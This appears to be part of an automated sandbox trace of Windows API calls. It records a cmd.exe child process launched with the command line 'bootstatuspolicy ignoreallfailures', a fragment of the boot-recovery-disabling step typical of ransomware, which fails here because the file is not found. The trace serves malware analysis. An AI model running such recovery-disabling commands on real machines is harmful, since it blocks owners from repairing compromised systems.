	[0163.356] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0163.356] GetProcessHeap () returned 0x460000
	[0163.356] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x489850 | out: hHeap=0x460000) returned 1
	[0163.356] GetEnvironmentStringsW () returned 0x478b10*
	[0163.356] GetProcessHeap () returned 0x460000
	[0163.356] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x489850
	[0163.356] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0163.356] GetProcessHeap () returned 0x460000
	[0163.356] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x475cf0 | out: hHeap=0x460000) returned 1
	[0163.356] DeleteProcThreadAttributeList (in: lpAttributeList=0x2aeeb8 | out: lpAttributeList=0x2aeeb8) 
	[0163.356] _get_osfhandle (_FileHandle=1) returned 0x7
	[0163.356] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0163.357] _get_osfhandle (_FileHandle=1) returned 0x7
	[0163.358] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0163.358] _get_osfhandle (_FileHandle=0) returned 0x3
	[0163.358] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0163.359] SetConsoleInputExeNameW () returned 0x1
	[0163.359] GetConsoleOutputCP () returned 0x1b5
	[0163.360] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0163.360] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0163.360] exit (_Code=1) 

Process:
	id = "19"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x3179b000"
	os_pid = "0xa2c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"bootstatuspolicy ignoreallfailures\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 118
	os_tid = 0x73c

	[0151.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fa10 | out: lpSystemTimeAsFileTime=0x12fa10*(dwLowDateTime=0x3d5a2f40, dwHighDateTime=0x1d5cdef)) 
	[0151.441] GetCurrentProcessId () returned 0xa2c
	[0151.441] GetCurrentThreadId () returned 0x73c
	[0151.441] GetTickCount () returned 0x116a094
	[0151.441] QueryPerformanceCounter (in: lpPerformanceCount=0x12fa18 | out: lpPerformanceCount=0x12fa18*=29300128572) returned 1
	[0151.443] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000
	[0151.444] __set_app_type (_Type=0x1) 
	[0151.444] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0
	[0151.444] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0
	[0151.446] GetCurrentThreadId () returned 0x73c
	[0151.446] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x73c) returned 0x3c
	[0151.864] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0151.865] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0151.865] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0151.866] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0151.866] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f9a8 | out: phkResult=0x12f9a8*=0x0) returned 0x2
	[0151.866] VirtualQuery (in: lpAddress=0x12f990, lpBuffer=0x12f910, dwLength=0x30 | out: lpBuffer=0x12f910*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.867] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12f910, dwLength=0x30 | out: lpBuffer=0x12f910*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.867] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12f910, dwLength=0x30 | out: lpBuffer=0x12f910*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.867] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12f910, dwLength=0x30 | out: lpBuffer=0x12f910*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.867] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12f910, dwLength=0x30 | out: lpBuffer=0x12f910*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0151.867] GetConsoleOutputCP () returned 0x1b5
	[0151.867] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.868] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1
	[0151.869] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.869] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0151.870] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.870] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0151.871] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.871] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0151.872] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.872] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0151.873] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.873] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0151.874] GetEnvironmentStringsW () returned 0x1a8a50*
	[0151.874] GetProcessHeap () returned 0x190000
	[0151.875] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa7c) returned 0x1a94e0
	[0151.875] FreeEnvironmentStringsW (penv=0x1a8a50) returned 1
	[0151.875] GetProcessHeap () returned 0x190000
	[0151.875] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x8) returned 0x1a9f70
	[0151.875] GetEnvironmentStringsW () returned 0x1a8a50*
	[0151.875] GetProcessHeap () returned 0x190000
	[0151.875] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa7c) returned 0x1a9f90
	[0151.876] FreeEnvironmentStringsW (penv=0x1a8a50) returned 1
	[0151.877] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e868 | out: phkResult=0x12e868*=0x44) returned 0x0
	[0151.877] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x18, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.877] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x1, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.877] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x1, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.878] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x0, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.878] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x40, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.878] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x40, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.878] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x40, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.878] RegCloseKey (hKey=0x44) returned 0x0
	[0151.878] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e868 | out: phkResult=0x12e868*=0x44) returned 0x0
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x40, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x1, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x1, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x0, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x9, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x4, lpData=0x12e880*=0x9, lpcbData=0x12e864*=0x4) returned 0x0
	[0151.879] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e860, lpData=0x12e880, lpcbData=0x12e864*=0x1000 | out: lpType=0x12e860*=0x0, lpData=0x12e880*=0x9, lpcbData=0x12e864*=0x1000) returned 0x2
	[0151.880] RegCloseKey (hKey=0x44) returned 0x0
	[0151.880] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e68d
	[0151.880] srand (_Seed=0x5e22e68d) 
	[0151.880] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0151.880] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0151.881] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.881] GetProcessHeap () returned 0x190000
	[0151.881] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x218) returned 0x1aaa20
	[0151.881] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1aaa30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0151.882] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0151.882] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0151.882] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0151.882] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0151.884] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0151.884] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0151.885] GetProcessHeap () returned 0x190000
	[0151.885] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a94e0 | out: hHeap=0x190000) returned 1
	[0151.885] GetEnvironmentStringsW () returned 0x1a8a50*
	[0151.885] GetProcessHeap () returned 0x190000
	[0151.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa94) returned 0x1ab6e0
	[0151.885] FreeEnvironmentStringsW (penv=0x1a8a50) returned 1
	[0151.886] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0151.886] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.886] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0151.886] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0151.886] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0151.886] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0151.886] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0151.886] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0151.886] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0151.886] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0151.886] GetProcessHeap () returned 0x190000
	[0151.886] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x38) returned 0x1a64e0
	[0151.887] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12f670 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x12f670, lpFilePart=0x12f650 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12f650*="system32") returned 0x13
	[0151.887] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.887] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x12f380 | out: lpFindFileData=0x12f380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe50000e5, cFileName="Windows", cAlternateFileName="")) returned 0x1a82f0
	[0151.887] FindClose (in: hFindFile=0x1a82f0 | out: hFindFile=0x1a82f0) returned 1
	[0151.888] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x12f380 | out: lpFindFileData=0x12f380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe50000e5, cFileName="System32", cAlternateFileName="")) returned 0x1a82f0
	[0151.888] FindClose (in: hFindFile=0x1a82f0 | out: hFindFile=0x1a82f0) returned 1
	[0151.888] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.888] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0151.888] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0151.888] GetProcessHeap () returned 0x190000
	[0151.889] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab6e0 | out: hHeap=0x190000) returned 1
	[0151.889] GetEnvironmentStringsW () returned 0x1a8a50*
	[0151.889] GetProcessHeap () returned 0x190000
	[0151.889] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xac4) returned 0x1aac40
	[0151.889] FreeEnvironmentStringsW (penv=0x1a8a50) returned 1
	[0151.889] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.889] GetProcessHeap () returned 0x190000
	[0151.889] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a64e0 | out: hHeap=0x190000) returned 1
	[0151.889] GetProcessHeap () returned 0x190000
	[0151.889] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4016) returned 0x1acc50
	[0151.890] GetProcessHeap () returned 0x190000
	[0151.890] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x5e) returned 0x1a82f0
	[0151.890] GetProcessHeap () returned 0x190000
	[0151.890] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4010) returned 0x1b0c70
	[0151.904] GetProcessHeap () returned 0x190000
	[0151.904] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4010) returned 0x1b4c90
	[0152.414] _wcsnicmp (_String1="boot", _String2="cmd ", _MaxCount=0x4) returned -1
	[0152.418] GetProcessHeap () returned 0x190000
	[0152.418] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x420) returned 0x1ab710
	[0152.419] SetErrorMode (uMode=0x0) returned 0x8001
	[0152.419] SetErrorMode (uMode=0x1) returned 0x0
	[0152.420] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1ab720, lpFilePart=0x12f530 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12f530*="system32") returned 0x13
	[0152.420] SetErrorMode (uMode=0x8001) returned 0x1
	[0152.737] GetProcessHeap () returned 0x190000
	[0152.738] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab710, Size=0x7e) returned 0x1ab710
	[0152.738] GetProcessHeap () returned 0x190000
	[0152.738] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab710) returned 0x7e
	[0152.738] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0152.739] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0152.739] GetProcessHeap () returned 0x190000
	[0152.740] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x104) returned 0x1ab7a0
	[0152.740] GetProcessHeap () returned 0x190000
	[0152.740] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1f8) returned 0x1ab8b0
	[0152.764] GetProcessHeap () returned 0x190000
	[0152.764] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab8b0, Size=0x106) returned 0x1ab8b0
	[0152.764] GetProcessHeap () returned 0x190000
	[0152.764] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab8b0) returned 0x106
	[0152.765] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0152.765] GetProcessHeap () returned 0x190000
	[0152.765] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xe8) returned 0x1ab9d0
	[0152.765] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab9d0, Size=0x7e) returned 0x1ab9d0
	[0152.765] GetProcessHeap () returned 0x190000
	[0152.766] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab9d0) returned 0x7e
	[0152.766] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.766] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.082] GetLastError () returned 0x2
	[0153.083] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.083] GetLastError () returned 0x2
	[0153.083] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.083] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.084] GetLastError () returned 0x2
	[0153.084] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.084] GetLastError () returned 0x2
	[0153.084] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.084] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.085] GetLastError () returned 0x2
	[0153.085] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.085] GetLastError () returned 0x2
	[0153.085] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.086] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.086] GetLastError () returned 0x2
	[0153.086] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.086] GetLastError () returned 0x2
	[0153.086] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.087] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.272] GetLastError () returned 0x2
	[0153.272] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x12f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f2a0) returned 0xffffffffffffffff
	[0153.272] GetLastError () returned 0x2
	[0153.274] GetConsoleOutputCP () returned 0x1b5
	[0153.274] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0153.274] GetUserDefaultLCID () returned 0x409
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12f780, cchData=128 | out: lpLCData="0") returned 2
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12f780, cchData=128 | out: lpLCData="0") returned 2
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12f780, cchData=128 | out: lpLCData="1") returned 2
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2
	[0153.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2
	[0153.277] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0153.278] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0153.279] GetProcessHeap () returned 0x190000
	[0153.279] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x20c) returned 0x1abad0
